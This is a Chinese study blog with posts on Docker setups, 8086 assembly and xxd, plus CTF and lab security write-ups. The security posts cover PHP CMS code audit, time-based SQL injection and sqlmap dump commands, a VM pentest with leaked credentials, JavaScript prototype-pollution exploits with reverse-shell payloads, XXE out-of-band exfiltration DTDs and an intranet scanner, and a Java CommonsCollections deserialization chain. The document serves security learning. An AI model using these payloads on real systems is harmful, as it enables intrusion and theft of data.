$ docker run --name runoob-php-nginx -p 8083:80 -d \           
    -v $PWD/www:/usr/share/nginx/html:ro \
    -v $PWD/conf/conf.d:/etc/nginx/conf.d:ro \
    --link myphp-fpm:php \ ----> 注意需要取别名
nginx

如果不取别名的话直接闪退，别名可以理解成对应的主机地址

然后开始折腾docker-compose.yml

version: '2'
services:
  nginx:
    image: nginx:latest
    volumes:
      - ./conf/conf.d:/etc/nginx/conf.d
      - ./www:/usr/share/nginx/html
    depends_on:
      - myphp-fpm
    links:
      - myphp-fpm:php
    ports:
      - "8083:80"
  myphp-fpm:
    image: php:5.6-fpm
    volumes:
      - ./www:/www

试了多次，links 需要取别名

同时文件的权限也很重要，不然会出现无法读取flag的情况

Dockerfile 编写

WORKDIR 指定工作目录，这样就能够在执行一些shell命令的时候不需要指明路径了

docker无法运行 mysql容器

这是由于我偷懒只在本机安装了 mysql 得客户端，没有安装服务端，这也是很神奇了

docker运行phpmyadmin

我发现并不需要 nginx ,当然如果有nginx的情况下可以做到反向代理比较好一点

version: "3"
services:
  phpmyadmin:
    image: phpmyadmin/phpmyadmin
    ports: 
      - 8081:80
    links:
      - mysql:db
  mysql:
    image: mysql:5.6
    environment: 
      - MYSQL_ROOT_PASSWORD=123456

nginx结合mysql

version: '2'
services:
  nginx:
    image: nginx:latest
    volumes:
      - ./conf/conf.d:/etc/nginx/conf.d
      - ./www:/usr/share/nginx/html
    depends_on:
      - myphp-fpm
    links:
      - myphp-fpm:php
    ports:
      - "8083:80"
  myphp-fpm:
    image: php/kuozhan
    volumes:
      - ./www:/www
    links:
      - mysql:db
  mysql:
    image: mysql:5.6
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=123456

nginx配置学习

nginx的配置文件以后再单独写，这里先学一点

怎么理解 nginx和php-fpm的关系呢

我在配置docker环境的时候意识到nginx和php两个镜像是相互独立的，首先运行php-fpm镜像，将其内部的 /www 映射到我外部的 ./www 目录中，然后再运行 nginx 镜像，将其 /usr/share/nginx/html 映射到 ./www 目录，同时还需要做两件事

配置nginx，指定解析的脚本目在 /www 目录中
连接php-fpm容器，需要将解析到 php 这个域名才行

汇编从入门到入土二

Sun, 02 Feb 2020 00:00:00 GMT

内存

intel的CPU是采用的小端法来存储数据

在查看内存的时候，我更愿意按照这样的方式，我认为0号应该代表第一根横线，也就是认为是第一个存储单元的开始，也就是说我觉得 0~1 这个单元存放着 20H，因为这样在后续分析栈的时候比较有用

字单元：存放一个字节型数据的内存单元，也就是两个字节16位，高位放高地址，低位放低地址

数据段

数据段寄存器默认为 ds

所以我们要操作内存数据的时候只需要指定偏移即可

CPU不支持直接将数据送入到段寄存器，需要有寄存器作为中转

mov bx,1000H
mov ds,bx
mov [0],al

上述代码的含义：先设置ds寄存器为1000H，然后将al中的数据送往这个内存单元(所以我们要移动数据到内存的时候是需要先设置数据段的基地址的)

mov指令

mov 段寄存器，寄存器
mov 寄存器，段寄存器
mov 内存单元，寄存器
mov 寄存器，内存单元
mov 段寄存器，内存单元
mov 内存单元，段寄存器

但是 add 指令不能直接操作段寄存器和寄存器

数据段

AX=0，BX=0

mov ax,1
mov ds,ax
mov ax,[0000] ;AX = 2662H
mov bx,[0001] ;BX = E626H
mov ax,bx     ;AX = 2662H
mov ax,[0000] ;AX = 2662H
mov bx,[0002] ;BX = D6E6H
add ax,bx     ;AX = FD48H
add ax,[0004] ;AX = 2ECC+FD48 = 2C14
mov ax,0      ;AX = 0
mov al,[0002] ;AX = E6H
mov bx,0      ;BX = 0
mov bl,[000c] ;BX = 00H
add al,bl     ;AX = E6H

栈

任意时刻 SS:SP 指向栈顶元素

PUSH 操作的过程

SP = SP -2
SS:SP 指向新的地址
然后将数据送入到 SS:SP 指向的地址中

然后就涉及到怎么计算 SP 的问题了

只需要记住初始状态栈中没有元素，并且 SP+2 是栈中的第一个存储单元

POP 指令

将SS:SP 指向的内存单元数据送入到寄存器中，或者是某个内存单元中
SP = SP + 2

PUSH和POP的指令形式

push 寄存器
pop 寄存器

push 段寄存器
pop 段寄存器

push 内存单元
pop 内存单元

利用栈可以达到交换数据的目的

mov ax,1000H
mov ss,ax
mov sp,0010H
mov ax,001AH
mov bx,001BH

push ax
push bx

pop ax
pop bx

习题

第一题

mov ax,1000H
mov ds,ax
mov ax,2000
mov ss,ax
mov sp,0010H
push[0]
push[2]
push[4]
push[6]
push[8]
push[A]
push[C]
push[E]

现在 1000H~100FH 的内存内容为：

本着节约内存的想法

然而执行完之后的结果

看来节约内存不是件好事，于是我重新把 3000:0 作为代码段

这回成功了

第二题

mov ax,2000H
mov ds,ax
mov ax,1000H
mov ss,ax
mov sp,0
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]

同样的，我先设置 1000:0 处的值

将指令书写到内存中，也就是设置 3000:0 为代码段

在实验的时候，前面一部分数据是可以正常复制的，但是后面就出问题了

暂时没想清楚

实验三

遇到的问题

输入指令：

但是在执行的时候：

这是之后要研究的内容；中断机制
Debug的T命令在修改寄存器SS的指令时，下一条指令也会紧接着执行

mov ax,ffff
mov ds,ax
mov ax,2200
mov ss,ax
mov sp,0100
mov ax,[0]     ;ax=C0EAH
add ax,[2]     ;ax=C0FCH
mov bx,[4]     ;bx=30F
add bx,[6]     ;bx=6021H
push ax        ;sp=FEH,修改的内存单元地址是220FEH,内容为C0FCH
push bx        ;sp=FCH,修改的内存单元地址是220FCH,内容为6021H
pop ax		   ;sp=FEH,ax=6021H
pop bx		   ;sp=100H,bx=C0FCH
push [4]       ;sp=FEH,修改的内存单元是220FEH,内容为30F0
push [6]	   ;sp=FCH,修改的内存单元是220FCH,内容为2F31

为什么2000:0 ~2000:f 的内容会发生变化？

仔细观察发现
01A3 不知道是什么，但是0b39和0108确实当前指令的地址，也就是执行完 mov ss,ax mov sp,10H 之后的下一条指令的地址，结合这是在设置栈，不禁想到了函数的压栈，保存了返回地址，但是还有一个 0020 的数据不知道是哪里的

代码审计初尝

Sat, 01 Feb 2020 00:00:00 GMT

任意文件删除

文件删除函数只考虑到了白名单路径，但是没有想到 ../

function del_file()
{
	$path = post('path');
	$path = str_replace('../','',$path);
	$dir[0] = 'data/backup/';
	$dir[1] = 'images/';
	$dir[2] = 'resource/';
	$flag = false;
	for($i = 0; $i < count($dir); $i ++)
	{
		if(substr($path,0,strlen($dir[$i])) == $dir[$i])
		{
			$flag = true;
		}
	}
	if($flag)
	{
		if(unlink($path))
		{
			$result = 1;
		}
	}
	echo isset($result) ? $result : 0;
}

根目录新建 aaaa.txt
然后发送请求

成功删除文件

后台注入

延时注入

or if(length(database())=6,sleep(3),0)
如果数据库名的长度为6，那么就 sleep(3)
我测试的时候数据库名为 xinxiu ，所以就会出现一定的延时

延时注入的其他例子

# 判断当前数据库长度 # 当前数据库长度是否为 1 没有延时 不是 
cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0) 
# 延时 表明当前数据库长度为 6 
cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) 
# 当前数据库第1个字母的ascii码是否为 97 没有延时 不是 
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) 
# 延时 表明当前数据库第1个字母的ascii码为 115 即 's' 
cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) 
# 当前数据库第2个字母的ascii码是否为 97 没有延时 不是 
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) 
# 延时 表明当前数据库第2个字母的ascii码为 105 即 'i' 
cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ...

注意这里不能用 and ,因为这个 id=3 的用户实际上不存在，所以就不再需要去执行 and 另一边的语句了(短路！)

但是如果这个用户存在当然是可以的咯(那样注入就很麻烦了)

但是我按照国光的方法使用 sqlmap 失败了

./sqlmap.py -u "http://127.0.0.1/admin.php?/deal/dir-basic/" --cookie="qaq21129s234bj1q4ammcs7fe5;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

另一处后台注入

search_main.php 文件

$global['key'] = rawurldecode($global['key']);
$obj = new goods();
$obj->set_field('goo_id,goo_title,goo_x_img');
$obj->set_where("goo_title like '%" . $global['key'] . "%'");
$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));

这里忘记过滤了

$obj->set_where("goo_title like '%" . $global['key'] . "%'");

同样的尝试使用 sqlmap 但是还是失败了(怕是个假的吧)

./sqlmap.py -u "http://localhost/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

文件包含

admin/basic_func.php 中：

$global['channel'] 参数可控，比如访问 /admin.php?/service/mod-user_sheet/,那么获取到的是 service ，之后判断文件是否存在进行包含

global $global;
$global = array();
var_dump($_SERVER['QUERY_STRING']);
$global['url'] = $filter($_SERVER['QUERY_STRING']);
if($global['url'] != '')
{
	$arr = explode('/',$global['url']); //以 / 做分隔符
	$global['channel'] = $arr[1];
	var_dump($global);

function main()
{
	global $global,$smarty;
	set_global();
	include_all('admin/class');
	set_more_global();
	$path = 'admin/admin.php';
	if($global['url'] != '')
	{
		$path2 = 'admin/'.$global['channel'].'.php'; //获取到 $global['channel'] 这个参数可控
		var_dump(file_exists($path2));
		if(file_exists($path2))
		{
			$path = $path2;
		}
	}
	include($path);
}

但是这里如果传入 ../ 那么就会导致 file_exists 返回错误，所以暂时无能为力

admin/common.func.php 文件中

function run($parameter)
{
	global $smarty;
	$path = '';
	$display = '';
	extract($parameter); //extract函数存在变量覆盖，但是参数不可控
	$func = 'module_'.$module;
	include('admin/module/'.$path.$module.'.php');
	$func($parameter);
	if($display != 'no')
	{
		$smarty->display('module/'.$path.$module.'.php');
	}
}

任意写文件

common.func.php 存在一处编辑配置文件

当然此处是可以随意修改文件的，只是没办法写shell

可见过滤还是挺严格的

SSRF

getRemoteImage.php 文件中，

可以获取远程图片

首先必须是 http开头的

if(strpos($imgUrl,"http")!==0){
                array_push( $tmpNames , "error" );
                continue;
            }

校验了后缀名

$fileType = strtolower( strrchr( $imgUrl , '.' ) );
if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
    array_push( $tmpNames , "error" );
    continue;
}

参考

PHP代码审计初尝

汇编从入门到入土一

Sat, 01 Feb 2020 00:00:00 GMT

第一、二章

基础知识

一个存储单元一般存储 1个字节，也就是8个二进制位

一个字为两个字节

地址总线：用来寻址，由于一根地址总线只能表示2个状态，所以一个CPU有N根地址线，则可以说这个CPU的地址总线宽度为N，这样的CPU最多可以寻找 $2^{N}$ 个内存单元

数据总线：数据总线的宽度意味着CPU一次能传输多少位数据

控制总线：控制总线的宽度决定了CPU对外部器件的控制能力

寄存器

通用寄存器中，AX可以拆分为 AH和AL，如果单独使用AH或者AL，则应该看成一个独立的8位寄存器来使用，AH和AL此时是不相关的

如何寻址？

注意此时并不是操作系统中学到的分段，只是这么用罢了

一个 ‘段’ 的偏移占16位，那么一个段的长度最大为64KB

不同的段地址和偏移地址可以形成同一个物理地址

CS:IP 指向的内容就是将要执行的指令(但是CPU是怎么知道指令的长度的呢，x86是变长的，而MIPS是等长的，这个坑之后说)

基础指令 mov,add,jmp

mov指令设置寄存器的内容值，add执行加法，jmp设置cs和ip的值

四条指令完成计算2的4次方

mov ax,2
add ax,ax
add ax,ax
add ax,ax

当然也可以使用jmp指令，但是你无法判定程序什么时候退出(因为指令不够hhhh)

dosbox使用

dosbox可以用来模拟dos环境，然后我们下载一个MASM工具包，里面包含了 debug 这些程序

注意设置dosbox

[autoexec]
# Lines in this section will be run at startup.
# You can put your MOUNT lines here.

mount C: G:\MASM
C:

因为我的 MASM 工具包位于 G盘目录下，所以设置挂载命令
这样打开dosbox之后自动挂载

实验一

debug.exe 使用
r 命令可以查看寄存器内容，以及当前的 cs:ip 指向，还有ds指向的内容

还可以修改寄存器的内容

使用d命令查看内存

d1000:9

查看某一个范围内的内存

d1000:9 20

e 命令可以修改内存的数据

e1000:0 0 1 2 3 4 5 7 8

当然也可以换一种方式修改

也可以向其中写入字符串

尝试写入一段汇编指令

使用 e命令编辑内存，然后使用 u 命令反汇编

那么如何执行汇编指令呢？

首先用 r 设置 cs 和 ip的值，然后使用 t 就可以执行汇编指令了，可以看到执行了三条汇编指令后的结果， ax 存储了 0x03 cx 存储了 0x02

直接使用 e 命令编辑当然不方便，于是可以用 a 命令直接书写汇编指令，然后自动的给转化成对应的机器码

实验任务

使用debug将下面的程序写入内存，逐条执行

汇编指令输入到内存中

然后运行就是的了

将下面3条指令写入到 2000:0 开始的内存单元中，计算2的次方

mov ax,1
add ax,ax
jmp 2000:0003

运行过程截图

PC 机主板上的ROM有一个生产日期，在内存 FFF00H~FFFFFH 的某几个单元中，请找到这个生产日期并试图改变它

很显然我是改不了的

safeharbor靶机渗透

Fri, 31 Jan 2020 00:00:00 GMT

信息收集

端口扫描：

80端口运行了一个web，万能密码直接登陆

查看URL类似文件包含

测试的时候发现包含文件的时候不需要加php，似乎有一个白名单的限制，因为包含 /etc/passwd 没有成功

包含了 account.php 找到了数据库的用户和密码

<?php

session_start();

if(is_null($_SESSION["loggedin"])){
	header("Location: /");
}

$dbServer = mysqli_connect('mysql','root','TestPass123!', 'HarborBankUsers');
$user = $_SESSION["username"];

if($_POST['x']){
        $oldPass = mysqli_real_escape_string($dbServer, $_POST['oldpass']);
        $newPass = mysqli_real_escape_string($dbServer, $_POST['newpass']);
        $currentPassQueryResult = mysqli_query($dbServer, "SELECT password FROM users where username = '$user'");
        $currentPassRow = mysqli_fetch_row($currentPassQueryResult);
        $currentPass = $currentPassRow[0];

        if($oldPass == $currentPass){

同时扫描目录探测到 phpinfo页面 发现可以远程包含

于是远程写一个php文件让其弹一个shell回来

为了方便就直接弹 merterpreter 吧

发现一个工具 revshellgen 可以方便地生成反弹shell的命令

支持的种类还挺多的

但是这里还是直接用msf反弹一个 meterpreter

每天一个Linux命令-xxd

Fri, 31 Jan 2020 00:00:00 GMT

xxd

基本选项

-a : 它的作用是自动跳过空白内容，默认是关闭的
-c : 它的后面加上数字表示每行显示多少字节的十六进制数，默认是16字节。
-g : 设定以几个字节为一块，默认为2字节。
-l : 显示多少字节的内容。
-s : 后面接【+-】和address.加号表示从地址处开始的内容，减号表示距末尾address开始的内容。
-ps: output in postscript plain hexdump style

xxd 是有单位的，如

和

很显然其中一个 0x100 是 256个字节，也就是16行咯

-g 选项的含义

默认是两个字节一组

$ xxd -s -100 -l 0x20 monster.jpg
00002601: eeae ee33 b2ae ae9b b979 0eb8 e171 a040  ...3.....y...q.@
00002611: 2146 78f7 d5a0 fef0 79e7 5135 fbf5 7f48  !Fx.....y.Q5...H

通过 -g 变为一个字节一组

$ xxd -s -100 -l 0x20  -g 1 monster.jpg 
00002601: ee ae ee 33 b2 ae ae 9b b9 79 0e b8 e1 71 a0 40  ...3.....y...q.@
00002611: 21 46 78 f7 d5 a0 fe f0 79 e7 51 35 fb f5 7f 48  !Fx.....y.Q5...H

其他用法

如果我只想要十六进制,加上 -ps 选项

$ xxd -s -100 -l 0x20  -g 1  -ps monster.jpg 
eeaeee33b2aeae9bb9790eb8e171a040214678f7d5a0fef079e75135fbf5
7f48

可以输出C语言数组形式

$ xxd -s -100 -l 0x20  -g 1 -i  monster.jpg 
unsigned char monster_jpg[] = {
  0xee, 0xae, 0xee, 0x33, 0xb2, 0xae, 0xae, 0x9b, 0xb9, 0x79, 0x0e, 0xb8,
  0xe1, 0x71, 0xa0, 0x40, 0x21, 0x46, 0x78, 0xf7, 0xd5, 0xa0, 0xfe, 0xf0,
  0x79, 0xe7, 0x51, 0x35, 0xfb, 0xf5, 0x7f, 0x48
};
unsigned int monster_jpg_len = 32;

与vim结合

vim 文件名 -b 以二进制方式打开文件

然后输入命令 %!xxd

就可以进入到十六进制编辑模式

编辑完之后需要用 %!xxd -r 保存，退回到原来的vim模式

反向dump

# pxy @ LAPTOP-UBIEP4K5
$ xxd monster.jpg file.dump

# pxy @ LAPTOP-UBIEP4K5
$ head -n 4 file.dump 
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
00000010: 0001 0000 ffdb 0043 0008 0606 0706 0508  .......C........
00000020: 0707 0709 0908 0a0c 140d 0c0b 0b0c 1912  ................
00000030: 130f 141d 1a1f 1e1d 1a1c 1c20 242e 2720  ........... $.'

# pxy @ LAPTOP-UBIEP4K5 
$ xxd -r file.dump > a.jpg

# pxy @ LAPTOP-UBIEP4K5 
$ file a.jpg 
a.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 160x247, components 3

这样比较方便，可以转成其他文件，进行编辑之后再转回来，本质上和vim一起用的效果一样

JavaScript原型链污染

Thu, 30 Jan 2020 00:00:00 GMT

JavaScript原型链污染

如何继承

比如，现在有一个”动物”对象的构造函数。

function Animal(){

this.species = "动物";

}

还有一个”猫”对象的构造函数。

function Cat(name,color){

　　　　this.name = name;

　　　　this.color = color;

　　}

要让Cat这个类去继承Animal类，如果在其他的语言中，一般就是extented即可

但是在JavaScript中，

Cat.prototype = new Animal();

Cat.prototype.constructor = Cat;

var cat1 = new Cat("大毛","黄色");

alert(cat1.species); // 动物

第一行我们直接修改了Cat的prototype属性，让其指向Animal

这一点不难理解，之后所有Cat实例化的对象cat，它的__proto__就会指向Animal(因为Cat.prototype==cat.__proto__)

但是第二行比较疑惑，Cat.prototype.constructor又代表了什么？

其实在Cat.prototype中原先是有一个constructor这个属性的，而Cat.prototype.constructor==Cat这个是成立的

但是我们直接修改了Cat.prototype之后，此时的Cat.prototyep.constructot != Cat

这就比较荒诞了，所以我们要单独修改将这一个属性修改回来

实例分析

redpwnctf2019 blueprint

题目的简要功能就是能够发表文章，并且选择是否公开，传递的数据是json格式的

每一个用户有一个user_id，第一次访问的时候会通过makeId函数给一个id

调试的时候发现每个用户创建的时候会将一个(userId,user)存入到一个map中，userId就是之前生成的，而这个user对象中就有flag，也就是说每一个用户都有一个flag

生成的user对象

之后会将请求的内容给merge到parsedBody中

查看defaultsDeep的例子：

_.defaultsDeep({ 'user': { 'name': 'barney' } }, { 'user': { 'name': 'fred', 'age': 36 } });
// => { 'user': { 'name': 'barney', 'age': 36 } }

之后就会将parsedBody中的content和public存放到map中

之后的功能也不难想了，如果pubic为true就会展示在首页上，如果不为true就会不会展示

而我们之前提到每一个用户其实都是有一个flag的，只是这个public属性没有进行设置而已。

思路就是通过原型链污染使得flag能被展示出来

渲染页面的主要部分如下：

blueprints: Object.entries(user.blueprints).map(([k, v]) => ({
  id: k,
  content: v.content,
  public: v.public,
})),

exp



URL = "http://localhost/"
user_id = "559eb9b06eb8c581b74f33c1202bff50"
res = requests.post(URL+"make",cookies={"user_id":user_id},json={"content":"aaaa", "public":"true","constructor":{"prototype":{"public":"true"}}})
print(res.text)

res2 = requests.get(URL, cookies={"user_id":user_id})
print(res2.text)

新春战疫 ezexpress

用到了JavaScript的一个小trick

两个奇特的字符 ==”ı”、”ſ”。==

这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’，”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

绕过之后，就可以登陆,看到一个很显然的 clone 操作

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

那么就可以污染属性了。污染哪个呢？

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

我们这里就直接污染 res.outputFunctionName

(测试的时候Windows下无法用nc弹shell)

然后访问 info 页面即可

原来的payload

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}}

HGAME

这题也是JavaScript原型链污染，不过这里更明显

if (sekiro.attackInfo.additionalEffect) {
	var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
	sekiro = fn(sekiro)
}

Function 是动态构造函数

payload

{"solution":"1","__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process').exec('nc vps-ip port -e /bin/sh',function(){});"}}

然后vps上即可监听到请求(当然我这里只是nc一下)

写到这里突然又想起来了 2019XNUCA的一道JavaScript原型链污染的题目

2019 XNUCA hardjs

(盗了一张图过来)

能够RCE的点出在 res.render 处，具体的就不分析了，这里是最后的变量拼接的地方

从这里可以看到有两个拼接的变量可以使用

于是就能够构造两个payload

{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}

或者

 {
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;return process.env.FLAG;//;var __tmp2"
            }
        }
    },
    "type": "test"
}

当然要是想弹shell也不是不可以

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

现在回顾起当时遇到这道题还啥都不会，现在又突然想起来的这种感觉好好玩

参考

https://xz.aliyun.com/t/6101#toc-1

http://passingfoam.com/2019/08/31/XNUCA-2019-web-%E5%A4%8D%E7%8E%B0/

https://xz.aliyun.com/t/6113#toc-5

XXE复习

Thu, 30 Jan 2020 00:00:00 GMT

XXE

常用payload分析

好像大家都用这个测试代码

<?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

使用XML发送数据：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>

但是我在尝试参数实体的时候似乎不能外带数据

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>

嵌套也是不行的

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///flag.txt">  
	<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
	%start;
	%send;
]>

最常用的外带数据的方法：

在自己的vps上准备两个文件，我这里就就都在本机做的实验

本地的8001端口开一个web服务，

local.xml 文件内容：

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;

这个文件表示读取到数据之后发送给另一个8887端口，然后我们向受害者服务器发送数据，

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">  
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
	%remote;
	%send;
]>
<message>1234</message>

然后就可以在8887端口接收到数据了

换一种 payload 也行

DTD文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

发送的 paylod

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

报错XXE

这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
		&#x25;para2;
	'>
	%para;
]>
<message>10</message>

XXE探测内网



#Origtional XML that the server accepts

#<xml>

#    <stuff>user</stuff>

#</xml>

def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue

实例分析

网鼎杯2020 fileJava

用到的漏洞就是 CVE20143529

复现代码








public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>pxyapache</groupId>
    <artifactId>pxypxy</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi-ooxml</artifactId>
            <version>3.10-FINAL</version>
        </dependency>
    </dependencies>

</project>

利用过程：

准备一个excel文件：

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

准备DTD文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

会读取文件，然后将其发送到8887端口上

监听得到的flag

java审计笔记

Thu, 30 Jan 2020 00:00:00 GMT

反射相关概念

正常执行一条命令

Runtime.getRuntime().exec("calc");

如果通过反射来执行：

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(null), "calc");

Runtime 的构造方法是私有的，遵循单例模式，所以无法直接调用，但是可以通过调用静态方法 getRuntime 来获得一个 Runtime 对象，这个方法是静态的，并不需要传递类的实例进去(不然就陷入了死循环)，而调用之后返回的结果是一个 Runtime 对象，作为 exec 方法的第一个参数，这是因为 exec 方法不是静态方法

我们正常执行方法是 [1].method([2], [3], [4]...) ，其实在反射里就是 method.invoke([1], [2], [3], [4]...)

当然如果分解开来比较好理解一点:

Class clazz = Class.forName("java.lang.Runtime");  // 加载 java.lang.Runtime类
Method method1 = clazz.getMethod("getRuntime");    //获取到getRuntime方法
Runtime runtime = (Runtime) method1.invoke(null);  //调用，得到Runtime对象(其实可以直接拿这个对象去调用exec了)
//runtime.exec("calc") 即可
Method method2 = clazz.getMethod("exec", String.class); //得到exec方法
method2.invoke(runtime, "calc"); //调用exec方法

反序列化

java的反序列化是通过ObjectOutputStream和ObjectInputStream两个类来实现的，同时要序列化的类必须实现Serializable接口

与PHP类似，Java在序列化一个对象的时候会调用writeObject方法，在反序列化一个对象的时候会调用readObject方法

Apache CommonsCollections反序列化

只要弄懂了反射的逻辑，那么理解 CommonsCollections 的payload也就不难了,重点在构造 transformers 数组的时候

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class), 
        new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime",null}),
        new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{null,new Object[0]}),
        new InvokerTransformer("exec", new Class[]{
                String.class}, new Object[]{"calc"})};

Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(transformers);  //触发

transformers 数组中的每一个对象都会调用一次 transform 函数，ConstantTransformer 直接返回了 Runtime.class 作为下一个 transform 的参数等价于

Class clazz = Class.forName("java.lang.Runtime");  // 加载 java.lang.Runtime类

之后 InvokerTransformer 的 transform 接收传过来的 Runtime.class 去调用其 getMethod方法，等价于

Method method1 = clazz.getMethod("getRuntime");    //获取到getRuntime方法

返回了一个 Method类型的作为下一次 transform 的参数，之后的过程就是分别调用 invoke 和 exec 方法，等价于

Runtime runtime = (Runtime) method1.invoke(null);  //调用，得到Runtime对象(其实可以直接拿这个对象去调用exec了)
runtime.exec("calc")

由于 getRuntime 方法是静态的， invoke 的时候第一个参数不必是类的实例，之后由于已经获取到了 Runtime 的实例就不再需要通过反射去获得 exec 方法再 invoke 了，省去了一点麻烦的步骤

getMethod 和 invoke 方法的原型，所以我们在反射的时候也需要指定这些参数的class

public Method getMethod(String name, Class<?>... parameterTypes)
public Object invoke(Object obj, Object... args)

但是实际上我们在调用 getMethod 的时候，只需要指定第一个参数为 getRuntime 即可，那么第二个参数我们可以设为 null 或者 new Class[0] ，同理， invoke 方法这里不需要指定参数可以将两个参数都设置为 null

理解一下 collections.map.TransformedMap 这个类，提供了一个 decorateTransform 方法，可以将普通的map转化为 TransformedMap ，这个函数的原型

public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer)

